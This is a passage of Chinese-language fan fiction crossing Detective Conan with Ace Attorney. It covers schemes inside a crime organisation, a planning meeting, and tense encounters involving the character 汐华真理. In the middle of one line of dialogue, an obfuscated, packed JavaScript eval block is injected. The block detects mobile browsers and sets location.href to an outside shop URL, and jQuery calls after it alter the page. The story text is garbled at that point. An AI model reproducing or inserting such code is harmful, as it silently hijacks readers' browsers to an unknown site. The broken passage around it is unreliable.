你甚至可以在这里抓到同时厨唯景真理的人。 58# 是因为总版骂人喜欢带拐杖吗。( 骂这个配不上那个一定要带谁谁谁都更配,证明这个更值得被爱就要给这个角色配一圈相方,还升级成比家庭条件人际关系,最后扯成大混战。 59# 党争倒也没必要比个高下,什么坑不党争,一党争起来都一个样子,用不着拉踩。 但只是探讨剧情的话,感觉泥砖菜盘的价值观里有一个观念挺好的。祸不及子女。纵观泥砖菜盘每一部的BOSS,有孩子的不少,绫里家更是错综复杂。不过从没有看主角团说因为其父其母罪孽深重,所以孩子也绝对不是好东西于是加以打压的。孩子借父母的躯体托生,然而在出生的一瞬间就不再属于父母了。比方说,虽然千奈美坏的离奇,倒也没见过谁把责任全归咎到贵美子头上;也不见得因为狩魔豪谋杀,欺骗,就一并怨恨小冥的…… 人世间诸多不幸,万般罪愆,都得是生活者自己承担自己的责任。没有谁能够承担别人的责任,也不该为别人受罪,即便是亲子也不行。人不能选择自己的出身,即便是最受道德律令和公序良俗赞扬的母亲说到底也是人,也会犯错。 不幸就这样掩藏在亲爱之中。 60# …… 61# 想起自己家的烂摊子了。……57楼说话好厉害。 62# 确实……不过这样听来,倒好像,倒像是…… 拉娜唯关闭了论坛窗口。 她确实在一段时间之前切实地感觉到汐华真理这个身份,这个壳子的眼睛,被调整了颜色。这种过渡并非突如其来,也不是色差造就的缓慢偏移,而是,利用了她的耐心?还是宽容? 线下活动是拉娜唯执意要举办的。她知道那个活动耗时耗力,而且基本上不可能回本,纯属赔钱赚吆喝。亚瑟跟她说了,也不支持,她不听。她说我是写小说的,我只管表达一切我想表达的内容,我不是商人,回本不在我的考虑范围内。你要我来负责剧情推动,就该想到这点。你难道没有查过我户口吗? 亚瑟长久地凝视她,最后点点头。允许了她的计划。 即便休整的三天里她觉得往日不堪回首,也难以理性客观地审视来路,但是线下活动的主持和举办,拉娜唯不可谓不尽心尽力,一切都储藏在她记忆宫殿的某个房间里,摆放的整整齐齐。所谓NPC的临场演出,随机应变,基本上都是由她进行推演给出大致走向,少有假托他人;也想到第一次观影时那个身患疾病的女观众。拉娜唯作为长生种,余生依旧如海洋般波涛起伏翻涌,见人命若朝露,有时也心生怜惜。 她注意到官方请来的coser里,扮演汐华真理的那位工作人员的美瞳偏红了。太过鲜艳。但是,她毕竟没有苛责。人类精力有限。 但是,现在看来,放过这点倒好像成了她的失误啊。亚瑟到底瞒着自己做了多少小动作?拉娜唯无意于怪罪与推脱,自己没有注意到,当然是自己失误,也不能怪别人。 她现在更在意的是论坛最后讨论出的结论。虽然最后推的结果歪了,但是她们缺的信息太多,出正确答案才有鬼。再者,至少讨论过程还是很有借鉴意义的。 至少她可以判断出麦尔丝和绫里贵美子联系深厚。 虽说麦尔丝女士一开始就明牌自己属于绫里家族,关于这点她从未隐瞒。然而直到现在她才展现出自己在两支分流中的偏好。拉娜唯从前不关心,是她也没想过作品的意志会有所偏私;至少亚瑟看起来只在意怎样平衡,令作品延续下去,最好永远不要完结;而罗丝的意志掩藏在她的背后,非要说她在乎什么,可能只有启示。启示。启示。 拉娜唯是没有想过麦尔丝竟然会如此……“亲民”? 就算意志有所偏私,倒也不奇怪。不说一个人养了许多猫狗会将爱意倾斜,哪怕只是捡了一盒石头,也会分辨哪个圆一点哪个尖一点。但是哪个人会帮着猫揍狗?哪个人会为了这块石头把另一块丢掉?这太奇怪了。 而且被她选中的不是成步堂,不是御剑,也不是真宵……而是选择了贵美子。为什么? 拉娜唯陷入了思考之中,这种困惑和不解拖着她深深地陷在座椅里,动作放松但疲惫。恍惚之间她思绪起伏,想自己这下可是亲身表演了为什么英文中坐在沙发上使用的介词是“in”,而又想到将近十年前英语国家的年轻人就不再纠结于此,统一用“on”了。时间,时间。与此同时,汐华真理返回房间中,开始自顾自地收拾行李,下午就可出国。说自顾自,是因为,假使镜头跟随汐华真理进入房间,一个有着与同类拥有过共居在同一个屋檐下的生物一定会头皮发麻,打心底地意识到这里并没有二人同居的痕迹。没有。物理意义上的痕迹没有,精神上的也没有。 温暖而柔和的空气被门隔绝,渐渐远去了。十六楼的房间里是可怖的真空。虽然此时是正午,太阳高悬在天空之中,房屋也整洁有序,却像是很多天没有透气一样充满着沉闷的味道。倘若换了更有生活情调的人来布置,这儿的窗帘会被风吹拂的仿佛裹挟着蕾梅黛丝,如今却像粗粗打包的大帐篷。当这位年轻的背叛者经过他的母亲,伸出手,越过母亲的脸侧,去拿电脑桌上的一瓶药片时,他的母亲没有分给他一个眼神,也没有任何动作。既不给予他身为母亲的关怀与叮嘱,也不反射作为上位者和前任波士力娇该有的防备与警惕。她什么反应也没有,甚至连辱骂这种垃圾都不丢一个。年轻人的脸沉没在她背后,表情也不甚清晰。也许他是悲伤的,然而显而易见的他没有悲伤的时间。母亲给予他的是一个冰冷的,暂时的,迟到的休憩。这是最后的慈悲。 但镜头终究是没有进来。在至少如今的观众群体之中,绝大多数善良,乐观,嫉恶如仇的人都认为这个费尽千辛万苦找到母亲的青年会生活如意,会倍受器重,会恶名远扬,会不得好死。 逐渐到了一天之中最热的时间点。汐华真理拎上箱子下楼。一柳万才的确派车来接,司机是大众脸,后座上已然坐着检察官先生。御剑怜侍瞧见车门被打开,一定知道这位同乘者是谁。但他出于礼貌,还是冲着汐华真理点点头。当然,露出的表情则耐人寻味。总之绝对不是纯粹的开心,又不像是生气。车内的空调温度开的太低了吗?总觉得空气都变得有些冰凉刺痛。 车一路驶上高架桥,又打着转而下来。阳光在御剑怜侍的肩头去而复返,有一瞬间,在桥下,黑暗笼罩——他忽然问: “提案是你交的?” 69.Ms.Aleta 其实,虽然总有人诟病于剧场版22中的政斗剧情,然而,并不是说人们就对政斗漠不关心。即便动漫的受众群体多为青少年,但本作品时间跨度之久,所能辐射到的面积早已超过了某个特定的年龄段。三十年,足以让一个儿童成长为青年,中年,成家立业,抚育自己的孩子。当自己的孩子坐在电视前,观看自己幼时曾观看的影片时,能够对孩子说,这部动漫的某部分剧集获得了某某奖项,收获孩子惊喜的目光,也是一种不可多得的体验。 事实上,当一部提案被提交,大部分议员是赞成还是反对是可以被预料的,基本盘如此,屁股决定脑袋,说破了天也不会改投。只有少部分人持中立态度,而只要影响这些少数关键就能改变政策走向。这就是政斗的起因。假使没有需要争取的议员的话,那也就没必要从中斡旋了。 在观看文艺作品的时候,观众常常关注于矛盾与戏剧冲突,然而很少会纠结为什么偏偏是这个反派找上了这个主角,或者反过来。讲故事的人一般会用一句命运所指含混过去,然而事实上没有那么多人的人生量子纠缠,至少拉娜唯可以肯定,一柳万才绝对不会死咬着工藤新一,赤井秀一或者别的什么人不松口。 对于一个心怀善意,抑或是怯懦、担惊受怕的掺水酒来说这或许是最好的情况。不用和一直以来的敌人斗争,那么转火到他人是不是也没有问题?反正不是特定的那些人。请不要误会,拉娜唯并非心怀大爱慈悲苍生,只是她不能忍耐被驱驰。 击倒严徒海慈后,一柳万才顿时感觉自己大获全胜,循着多年来的本能将直觉中可能会对自己不利的御剑怜侍打发到国外之后,他感到整片国土的法的国度已经成为他的囊中之物,任由他摘取,只要一伸手,没有人能够阻拦。但是,他的手显然有自己的想法。换言之,他的眼中,组织是他的一只持枪的手,任由他的意愿而改变自己打击的目标。然而事实并非如此。即便明面上抑或是事实上的,拉娜唯正在养伤,乌丸莲耶的警告与威慑一如既往地发送到她手机上;琴酒多次向她提及那名前检察院院长现任检察官审查会会长如何缺乏边界感,越过BOSS将命令下达到他手中。贝尔摩德同样不满于自己的身份被越来越多的人知晓——哪一个身份都是。在他们表达心中的不满的同时,朗姆则将他的面目沉在阴影之中。拉娜唯知道他为何一言不发。朗姆不够忠心,一直以来都是;而一柳万才一定注意到了这点,并且许诺了好处,拉拢了他。 拉娜唯并无替乌丸莲耶规训组织的意愿,但当自己决策之时倘若一直有别人的目光注视着自己,总归是不舒服的。 这并不意味着她就要就此解除和一柳万才之间的联系。虽然很不想承认,但会长先生在所有方面都占有优势,掌握着主动权;再者,他带来的好处在这里摆着,贸然解约,乌丸莲耶一定要拿唯是问的。事实上他已经这么做了。乌丸莲耶知道下属的抱怨,但拿唯开刀。当然,和一柳万才接洽这件事的确是她负责,问责她情有可原。 乌丸莲耶给出两条解决方案。一条走武力手段,绑架也好,胁迫也罢、再不济,一柳会长还有个儿子。用性命威胁对方,对方一定能松口;第二条路则曲折一些,派人暗中探听一柳万才的消息与秘闻,用隐秘的信息胁迫其就范。可能这就是乌丸莲耶一直以来的行动纲领,一般人横遭这两板斧,大多也都听话老实了。 而拉娜唯爆发出一阵大笑。她在自己的巢中,面对笔记本电脑对面的老人,很不得体也全无礼貌地大笑起来。作为最后的一点素质体现,她捂住了自己的脸。她有一眼看穿事物本质和结局的能力,对于乌丸莲耶想要教她做事的意图感到非常搞笑;尤其是在她擅长的领域之中。 她好不容易把气理顺了,抬起头,话语中饱含弦外之音地说:“您真体贴。一柳万才先生正愁,自己双手的延申有力然而忠诚不足;您现在立刻将把柄送到他的手中,检察院审查会会长打击违法犯罪组织,多么合乎道理,多么顺理成章!” 听罢,乌丸莲耶显然被激怒了。 “你还是管好你自己刚找回来的那一个儿子和那个不知道什么时候会背叛你的律师吧!你这样想一出是一出,会招来大麻烦的!” “大麻烦是?原来组织因为太久游走在法律管辖之外的荒野,所以开始畏惧披上人皮坐下来按照游戏规则取胜了吗。”拉娜唯冷笑了一下,很不礼貌,“您什么时候如此畏缩?是活得太久的缘故?” 她太不客气了。不客气的就好像马上要离开这个组织,离职前最后的一疯。但是事实上拉娜唯从没有如此理智,如此冷静,如此……稳操胜券。 她说:我依旧会达成您的目的。这两条路我都不会走。 选公司,选老板,现在选不了。拉娜唯不是不能抄家伙直接出去单干,她也有时间,但敌人似乎没有多少时间。选盟友,操纵盟友,一柳万才并不能被操纵。不要紧。 我可以选对手。 拉娜唯把电脑显示屏啪地拍下去。 其实如果一柳万才的需求与组织的需求相同,那么这个联盟就依旧可以存在下去。水无怜奈放下的监听器后来被拉娜唯曲折转述而去,并且点出了来源——并不是来源于什么人,而是来源于什么组织。至于炸汐华真理的车就是纯粹的自导自演了,没办法,虽然FBI确实不怎么讲道理,现在的拉娜唯也希望他们不讲道理,但是眼下站在棋盘对面的这位——似乎出人意料的有原则。 对不起。好人就该拿枪指着。 反正我看你赤井秀一脸t也t习惯了,再t一回得了。 拉娜唯的目标是用这些征兆来迫使一柳万才相信自己曾在国外做的某些不干不净的“小动作”遭到了FBI和CIA的联合调查追踪,如此的压力之下他不得不做出应对。这样一来,一柳万才被迫与他们站到了一起……同时,对手也脱离了隔壁片场,变回拉娜唯的熟人了。选定对手,等于过程可控。即便是板上钉钉的难以招架的敌人,也比难度波动而目标不明的潜在敌人更好。 目标是这么个目标,现在就是施行的问题了。 工作。工作。工作。 工作会驱走头脑之中所有的邪念与迟疑,赐人片刻的安宁。工作是避难所。 当她的召唤再传来时,携带着凶兆和忐忑,在电话漫长的间歇中一直咚咚作响。乘坐电梯直上十六楼时,安室透感到微微的心神不定,指尖微微地悬在电梯轿厢金属的表面之上,突然听见外面吵闹的声音被一种深沉且持续的震动所淹没,好似来自远方的涛涛江水无休无止地流进地球上某个意想不到的深渊一般。感觉这个正裹挟着自己的铁皮棺材正冷到颤抖。这种深不可测的骚动烦扰了深夜一个多小时或更久的时间,然后它像开始那样突然终止。根据过往经验,他毫不怀疑,这种骚动直接暗示属于他的特殊时刻将至,不管那是什么时刻。当他意识到那个女人的形象,以及她第一次注意到她的惊讶表情生动地浮现在他脑海里时,他再一次听到那个声音说: “好久不见。” 虽说波本没有被禁止上楼,也在被允许的名单内,但他这些天来,实在很不情愿见这位曾经的波士力娇。假使只是装作若无其事的话倒也简单,但是,但是。当然,今天他没有迟到,这倒不是因为他已经放下了或者有什么更深层的原因,纯粹是因为没睡。日程排的太挤,二三十分钟的觉还可以躺一躺,更短的就没必要睡了。 于是他看见拉娜唯独坐桌旁,她的双手又那样交叠着放在长长的腿上,深吸了一口身边窗户里透来的新鲜空气,熹微的晨光穿过她盘起的长发。她从前喜欢半扎,头一次全盘,没有一丝碎发,陡然间朝着那张百年也不枯萎的生动面容平添年岁。于是安室透坐在几张桌子之外的距离,面对着她,身旁也有一扇打开的窗户。他抬头看到拉娜唯也正专心致志地看着他。她并未回避她的目光。 “……现在是我的回合了。” 来的人很少。相当少,这个会说不上正经。过了一会儿陆陆续续地到齐了,直等到贝尔摩德到了,神态很自然轻松,感觉像是来朋友家玩;除开二位女士时尚精神得不太像打工人以外,乍一看此情此景说不定会猜测二位有相约一起加班之嫌。来了以后环顾四周,目光扫过波本的脸,立刻反应过来,非常亲昵地去揽拉娜唯的脖子:“想我了没?”她的头发垂了下来,轻飘飘地蹭在拉娜唯的脸边,有点痒。香气扑鼻,有点像比较老的法国香水,也许是焦糖色的,瓶盖像一颗红宝石。这是属于绝对不会老死的女人之间的一点默契,倘若换一户人家,这瓶香水则该属于一个短发染的黑油油,烫着小卷儿,有三个孩子的时髦老太太;她的床下或许还摆着一双多年不穿了的绑带高跟鞋。白色的。 拉娜唯心想要是这里没别人你还会这个德行就有鬼了,禁止随地大小演。又想女明星毕竟热爱演艺事业,倒也不至于看人下菜碟,再说了这里始终都会有一个观众的。 当然是说我自己了。拉娜唯陡然间意识到不同的解读含义,皱皱眉。贝尔摩德立即放过了她,即便这种不适并不朝向于她。直起身子也没有急着入座,先饶有兴致地环视一圈,倨傲地朝着一个方向扬了扬下巴:“那个是?” “如朗姆亲临——当她是个录像机。”拉娜唯抬眼看过去,干脆利落地下了定义。如果要说贝尔摩德不认识,不知道对方是谁,那显然是不可能的;更何况库拉索的长相可以说是非常有特点,又担得上一句十分漂亮。但是她还没有个性,至少现在没有;出现在这里,也不过是一句如朗姆亲临。“所以朗姆呢?” “来不了。有事。” “……‘有事’,行。”贝尔摩德点点头,字词在舌尖打了个转吞下去,“我还以为一个够了,怎么来两个?朗姆不放心?” “那个是我要来的。” 贝尔摩德看看拉娜唯目不斜视的样子,再看看虽然没什么问题但是总觉得在垮脸的波本。她有些牙酸又像在看好戏一样吸气。好的。别人给自己找罪受,关我什么事。她非常自然地挑了离拉娜唯最近的位置坐下,顺手翻动桌子上的资料,与此同时拉娜唯就看着她这么动作。翻了两三页,相当空白,好像等着她填空。不对,好像真是会议记录。等着写呢。 就在这刚刚好的时间,从门后面来了个小孩。真的是小孩。贝尔摩德一看就知道,男孩,十来岁;把身上的衬衫和红马甲穿的像国际班校服似的,不像她的cool guy,没变小时已然比同龄人成熟许多,并且不吝啬地展现出未来成人的光彩。小孩头脑门正中间的刘海不知道抹了多少发胶,竖得像兔子耳朵。刚出去解决了早饭,显而易见;像每一个赶早课的学生一样,卡着点,背着包,骑自行车;压着死线冲进教室或者会议室,从包里掏出面包牛奶去走廊(孤僻一点的会上天台)上吃。真是青春洋溢啊! 就是怎么青春到组织里来了。 我以为我们这儿是个跨国犯罪组织而不是青少年夏令营?她用眼神回问拉娜唯,无视兔子小男孩回来后发现座位被占手足无措的表情,得到回答:“牙琉律师的学生。” “……那他是你师弟啊。——怪不得能坐的离你这么近。” 贝尔摩德抑扬顿挫地说。拉娜唯非常自然地嗯了一声,反问她:“怎么了?你没有师弟吗?” 女演员面上流动的表情停滞了一瞬,又正常地流淌下去,不过是顾左右而言他。她说你就让你师弟见识这种场面是吧?拉娜唯嗯嗯应付几句,心想这里有什么问题吗?这一屋子坐的人,一个公安头子,一个弃暗投明,一个摆烂掺水,对王泥喜哪里有害了。她拿起桌子上的会议记录本——看样子贝尔摩德不会挪窝的——和资料一起交给王泥喜法介:“王泥喜(おどろき),把这些发掉。一人一份。然后座椅往边上挪一位。” “惊讶(おどろき)?”贝尔摩德的表情看起来就像王泥喜法介的姓一样,“一个有人性的家族会姓这个吗?” “那你去找原来如此律师说理吧。”拉娜唯说。毕竟成步堂龙一是真有个百年前的老祖宗成步堂龙之介。 以上都算是小话内容。王泥喜法介尽职尽责地当他的小助理,真的像兔子一样灵巧地穿梭;而拉娜唯则拍一拍手,站起来:“现在是打破僵局的时候——”她清了清嗓子,提高音量,“好消息。现在我们要试试动摇国策。我们要怎么做呢?” “——事实上我们做不到。纯粹的白费时间。” 安室透打断她。不过,应该说可喜可贺?听不出什么感情倾向,就好像真的只是在建言献策;不过拉娜唯知道他是真的不满,以至于非常理性,非常客观——你的身体素质显而易见的强悍,简直如同一场自然灾害。但是你要在我的面前撼动这片国土上法律的秩序吗?我告诉你,这是不可能的——看我怎样证明它。拉娜唯就这样盯着他看。在公安头子面前说我不光要踩你的底线,还要拿你的底线跳皮筋,也挺好玩的。 “你要游说他们,还是干脆从政?那我们就是在无中生有地制造一个团队,尽己所能,建立支持基础,说不定倒是能增添后年讨论提案时的胜算——” “——我这样带着还没好完全的伤口每天起一个大早精心画全妆编头发穿工作装晚上连夜整理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938367|121598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 资料贴标签不是来从‘零’(她故意咬重这个字以示警告)来组建竞选团队的。你可以陈述你觉得为什么会失败。” 安室透点点头,迅速地把资料翻了个遍,其速度之快让人怀疑他到底细看内容了没有,拉娜唯倒不怀疑这点。他肯定看了,说不定能抽背。 “你知道Uniqlo每在服装上投入一千日元而国安想要同等程度地改动法规需要花多少吗?” “四万八千日元!” 出乎他预料的,王泥喜法介一边奋笔疾书一边大声回答。看来他每天早上的发声练习没有白做。就是苦了贝尔摩德在一旁被震的感觉脑子里有回声,表情不是很爽的样子;心道小师弟和小师弟之间亦有差距。拉娜唯倒是递了个意外中夹杂着欣赏的眼神过去,再一侧头,手背朝外大拇指指着王泥喜法介,动作里透着掩饰不住的得意洋洋。她一言不发,只是用眼神朝安室透示意。只比他大两岁的牙琉响也已经可以上场当检察官了,未来会站在他对面的王泥喜法介怎么会差呢。 安室透把文件一合,丢到桌子上。感觉他其实是想丢到垃圾桶里,这能说吗——拉娜唯不管他,手指点在王泥喜法介面前:“说的好。——以后你在22楼2205跟着那个半导体公司食堂吃饭。天冷了不要再喝凉牛奶。” 她起身的时候发觉贝尔摩德在看自己,眯了眯眼:“用这种眼神看我干什么?我情商没问题。” “……我突然怀疑我会被你累死。老天啊告诉我你不是工作狂对吧?” “我只能祝你好运。” “如果真的要这么煎熬的话要不你还是多拉两个人来?”贝尔摩德半开玩笑半认真一样的曲起手指叩击桌子,“我看你休息的还是挺好的。你劲头比我足。” “错误的。”拉娜唯假笑,“其实我超级虚弱的呢。看到你一点也不为我考虑,觉得更加悲从中来,简直要死了——不过,我还是爱你的,莎朗。” “我也爱你。”贝尔摩德笑眯眯地见缝插针地回了个飞吻。 “你说得对,所以以后的确会有更多成员加入——未必是常客。但我随时可能叫任何人来帮忙,在这里见到谁也都正常。同样的我也还是不想被不该知道的人知道我能下地了,你可以明白?” “你真是个事多还龟毛的领导。”贝尔摩德大约心有所感,知道拉娜唯要做什么了,表情变得奇怪;说是怜悯,又一副难以忍受的模样。美丽的女明星左手环抱胸口,右手抵在额头上,无奈也无奈得美艳绝伦,令人心生爱慕,“当场大变活人,就算你信任你的小师弟吧,我以为这里除了我和波本之外还有别人在。” “我不是说了她‘如朗姆亲临’……也就是说,她的记忆应当是朗姆可以操控的。怎么不正眼看我?”拉娜唯压低声音,凑近贝尔摩德;对方听罢不知七窍玲珑心里怎么着过了百转千回,表情让人捉摸不清,“怎么着心疼起录像带了?” “你哪只眼睛看出来我在心疼录像带?”贝尔摩德心想我真是抛媚眼给瞎子看,“你这么搞一定会出事。不是想隐瞒自己可以自由活动的事实吗?为什么要留空子等着人钻?”她压低声音,“要么就一直你负责,要么就现在回床上躺着装死让你儿子干活……不断来人又走,绝对会走漏消息你信不信?” “我要的就是这个。”拉娜唯说。随后她撑起身子,提高声音打了个响指,“项目介绍到此为止,有问题问我,没有的话自由活动;下午十四点回这里。……不,或许我现在就可以向你们介绍负责人。我知道你们当中有人和他有些过节,见了面尴尬不已;不过大局为重,还是姑且忍耐一下。” 正午时分的骄阳在他们头上平静且漠不关心地掠过,它试图把高速流转的云层中的恐惧抛之脑后。片刻间,安室透以为他看到了幽灵,因为他像许多人一样,对于自己熟识的人总有一种预料,这种预料像一种核查机制,否定了通过申请——但他就是汐华真理,毫无疑问那是他的步伐和身形。汐华真理站在母亲的背后,盯着他默默看了许久。与此同时,拉娜唯却对着贝尔摩德道:“我为他先前没大没小地盘问你而道歉。但看在我的份上,既往不咎,一笔勾销?” 贝尔摩德看了她很久。静静的。 半天,笑了,点了点头。 “我接受——同样看在你的面子上。但是,做母亲的不能一辈子为孩子担责。”她眯着眼睛,饱含深意地抓起桌子上的包起身就走,“散会!——我替你宣布了,不用谢。”她不轻不重地推了一下拉娜唯的肩膀,推开门离开会议室。 王泥喜法介低头,又抬头,又低头——他真的很困惑。拉娜唯一指楼上,不必多说,棕色兔子就知道自己可以去吃饭了。东西往包里一塞就准备跑路。库拉索则像个接收指令的人偶一般,一点儿离开的意思都没有;手臂交叠,趴在会议桌上小憩。看来是朗姆没有给这个机器人输入自由活动的指令。安室透一言不发,自行离开。 他走之后,天空迅速地阴沉,一场突如其来的大雨箭在弦上;闪电点亮了天幕,雷声轰鸣。电梯轿厢去而复返,会议室的门被毫不客气地再度推开。显而易见,一切都令安室透的心情跌落到了谷底,工作连轴转而欠缺的睡眠,忽如其来的暴雨,已经足以成为不安定因素;一点点不合时宜都足以令他的怒火如同这天幕下的惊天雷霆:“——我能不能请你告诉我,楼下的闸机为什么不能识别——” 他的质问戛然而止。 房间里除了关机了一般的库拉索,只剩下通讯警报试图令人得知大风很快就会向我们袭来,并提醒市民看看门窗的话。汐华真理在那儿站了一会,向外眺望死气沉沉的天色。是的,灰蒙蒙且宁静祥和的夜晚很快就要打破这些了。在西南方暗黄天空的映衬下,褴褛的云朵向他们奔来。这些云朵松散且狂野地移动着,在它们移动的过程中能再次认识到它们是多么美好。汐华真理站在那儿,看起来简直是对暴风雨满心欢迎。而拉娜唯早已离开。他回头: “因为您的卡是一次性的。”他轻轻地说,“通常来说是拿来给参观大楼的记者、学生和他们的带队老师使用。虽然我觉得……母亲不至于拿错。她执意如此。但是有需要的话,我去问问。” 安室透说不用了。他觉得自己的牙缝里咬着一股劲不能松懈,最后咬牙切齿地说你变厉害了。是吗?汐华真理望着他的脸,不知道为什么,他看起来没有那么得体,好像有一点悲伤。谢谢夸奖。 在安室透转身离开之后,身影从视野里消失之前,汐华真理平静地对着他的背影补充:“休息室在十五楼。很近。”不知道被听到了没有。 70.降落在你身上的雨终会停止 一柳弓彦今年十七岁,就读于私立忒弥斯法律学园检察官专业,被学校布置下任务干一个月实习。与此同时和他同一届的牙琉响也刚刚完成他的检察官首秀。一柳弓彦思来想去,手书大作一篇《我的检察院监察会会长父亲》,水灵灵地去老爸手下当实习生。实习生其实也就打打杂,帮大忙人检察官接咖啡。一柳弓彦是会长的儿子,没人敢使唤他接咖啡,御剑怜侍见他与咖啡机搏斗许久,实在看不下去,很有情商地说那个咖啡机坏了,算了我出去接。从对方手中抢过纸杯,皱着眉头离开。 一柳弓彦就这么坐在办公室吹空调,眼睁睁看自己的同学逐渐成了检察院大红人,成天忙的脚不沾地,心中不平横生。再加之总有些好事者开些玩笑,道你父亲宁愿用一个警察也不用你,会长先生实在是大义灭亲。多方影响之下,再加上这一回御剑检察官依旧我行我素地出门自己接咖啡,坚决拒绝他的请缨;自尊甚高的大少爷头脑一热,不管不顾地追出去。 夜色扑面而来。风声从很远的地方传来,一柳弓彦并未有意防备冷空气,于是狼狈地裹了裹外套。苍白的日光灯从他背后照耀着他的脊背,他不停歇地举步走入夜色。冰冷的空气像海洋一般裹挟住他。 他这样肯定,是因为目标太过明显。在黑夜之中追踪一个白色的目标非常简单。直到一柳弓彦拍上对方的肩膀,汐华真理也依旧独自一人站在楼梯口,背对着这个大少爷。而一柳弓彦只能勉强辨认出他紧靠发着微光的窗户的黑暗轮廓,看起来就像他与夜色之间星光熠熠的水。沉默了差不多一刻钟,办公室里的时钟在反常的寂静中滴答作响,在楼道之中反复衍射。一柳弓彦率先打破了沉默:“我看见了!” 这个青少年喘匀了气,又继续道:“办公室恋情,嗯?” 他的推理很完美(自认为)。一柳弓彦头脑一热自己跑出来,远远地就瞧见了汐华真理标志性的发色,但刚才可不止他一个人在这儿。还有一个,一个女人。一柳弓彦记得的,这些天总看见她在父亲的办公室周围转圈,脸上看着很青涩,大概是刚从学校毕业。反正自己刚才是亲眼看见二人热聊好几分钟,汐华真理送那个女人离开了,自己才追上。饶是如此,大少爷也没博得当事人一个回头,一时间气急攻心,一怒之下狠狠拍在汐华真理背上,捉住他肩膀:“我在和你说话呢!” 看到汐华真理表情的时刻,一柳弓彦刹住了话头。一种奇妙的情绪,混合着嘲讽、悲痛和冷酷等天差地别的情绪向他涌来,比海水更冰冷地抑制了他的口鼻,使得一柳弓彦什么话也说不出口。 只不过是一瞬间,汐华真理的表情顿时恢复了平日里的神态,长长地出了一口气,眉头松开,半眯着的眼睛睁开,看起来人畜无害。怎么了?他说。 但于事无补。一柳弓彦再也不敢同他讲话,屡次试图开口,最后还是咬咬牙,跑了回去。御剑怜侍问他去干什么了,他心不在焉地说去上厕所。下班的时候心烦意乱抄起包就走,余光瞥见一张熟悉的脸,快走几步靠上去:你不是早下班了吗?对方惊叫一声,没想到这么个大少爷冷不丁贴过来,说什么啊,我一直在上班啊。我明明看见你被那个小警察送走了…… 一柳弓彦困惑不已,被他无故骚扰的女生快走几步,消失在夜色之中。 拉娜唯一开始是没有想过要把马甲和自己扯上关系的,因为嘴不明白二者与她本人的关系。毕竟自己看起来完全是一张异国的面目,没有通融的余地;而另外两个皮套,佑希则是纯粹的东亚面孔,汐华真理则压根像是别的哪个片场来的。毕竟白发红瞳,这个设定既特殊又普通。特殊于在本作背景之下,绝大多数角色黑发、棕发、金发,都算符合常理;普通则普通在,放在别的什么作品,诸如——泥砖菜盘——里头有的NPC长得跟哈姆一样,只是给角色染头也太常规了。 再者呢,毕竟年龄差在这里,三人无论如何不会是同辈,也谬论亲友;在死小这个辈分奇乱的大舞台上,有且只有一种关系,亲子。那这个问题可就大了去了,毕竟正常来讲孩子不是一个人就可以造出来的,一个人就能造出来的一般和自己又长得倍像,也就是说拉娜唯非得给自己找爹,或者不想找也得给个交代:关于孩子爹活着还是死了,死了为啥死的,活着为啥不在,和孩子妈关系好不好。关系好的话那孩子妈找过爹没有,关系不好的话那孩子爹会不会是孩子妈弄死的,怎么弄死的。拉娜唯一想到人和人之间的事就头大,说就不能没啥关系吗,我们仨就是这样一个松散的联盟。此时还没和她撕破脸皮的麦尔丝笑了笑,半真半假地口吻拉长了声音:你说你的便宜老公被阿玛尼高光克死了。葬礼上你怒吃两碗高光拌饭,阿玛尼之神感念你心诚,降下神迹,从此你的孩子就是阿玛尼的圣子圣女。 拉娜唯笑骂阿玛尼给了你多少推广费能不能分我?麦尔丝没有回答她,开玩笑般地说,如果我硬要拉呢?女士冲着她眨眨眼:留个纪念。拉娜唯一开始有点懵:什么纪念?麦尔丝说我和你。 怎么了?相逢即是缘,这个孩子就当是咱们生的呗。麦尔丝说:不过我发誓,她和你没有任何血缘上的可以被检测出来的关系。我说过,留个纪念而已。拉娜唯说没有血缘关系那还能留下什么。麦尔丝说你放心。雁过有声,蛇过有路,一定会有痕迹。 言犹在耳,人却从天上掉到了地下。 她说得对。 平心而论,贝尔摩德再来一次,也决计难以相信汐华真理就是拉娜唯的儿子。他们看起来太不像。这种认知在一个夜晚消失了。这个晚上没有月亮。贝尔摩德很喜欢。她讨厌永生花,讨厌又大又圆的月亮,讨厌不朽。这天晚上,她乔装打扮潜入检察院,被汐华真理自背后逮个正着。在楼道里。她回头。这个孩子的眼睛在漆黑的楼道里像录音机的噪点一般突兀。他安静极了,声控灯一盏接一盏地熄灭,夜色涌入楼道。 在这个时刻,贝尔摩德依旧按照自己惯常使用的套路,先佯装不知,咬死了不松口。你有什么事找我吗?汐华真理直勾勾地望着她。忽然,笑了起来。他一把抓住贝尔摩德的手。他说:我喜欢你。我喜欢你很久了。可以给我这个机会和你在一起吗?说这些话期间,他的眼睛一眨也没有眨。手很热。 她笑着摇摇头说:我输了。放开我吧。你想问什么?我不会回答。 我已经知道你是怎么……怎么确认我和母亲之间的关系的了。但你是什么时候开始注意到我的? 你知道了? “是的。” 托拉娜唯的福,让我们把视角放回我们该放回的地方。在水无怜奈向江户川柯南讲自己所能传递的一切情报之后,便是第二天的早晨。江户川柯南起得很早,发现自己心不在焉,还沉迷在这位伟大的搜查官女士向他揭示的惊天奥秘之中。他在天光乍破,甚至是毛利父女睡醒前,就悄摸起床下楼去了。他打开桌子上自己的书包,里面一个放着重要东西的隔层的锁,取出了一个纸板文件夹。 他迅速打开了最上面的一个,确定里面的内容完好无损。看到水无女士用肌肉紧绷的手写在几张粗糙的皱纸上的字,沾着水。那是她假借不小心将水洒在他身上,帮他擦拭衣角时悄悄塞进口袋中的。 江户川柯南在那儿坐了一会,再次陷入沉思,就像自从他收到它后常常会做的那样。这真是奇怪啊,水无怜奈竟会选他做自己的收件人。在她那边儿一定有很多人比自己知道的更多。但是传递给自己。 我是否可以解读为她的同僚此刻并不能自如地和她沟通? 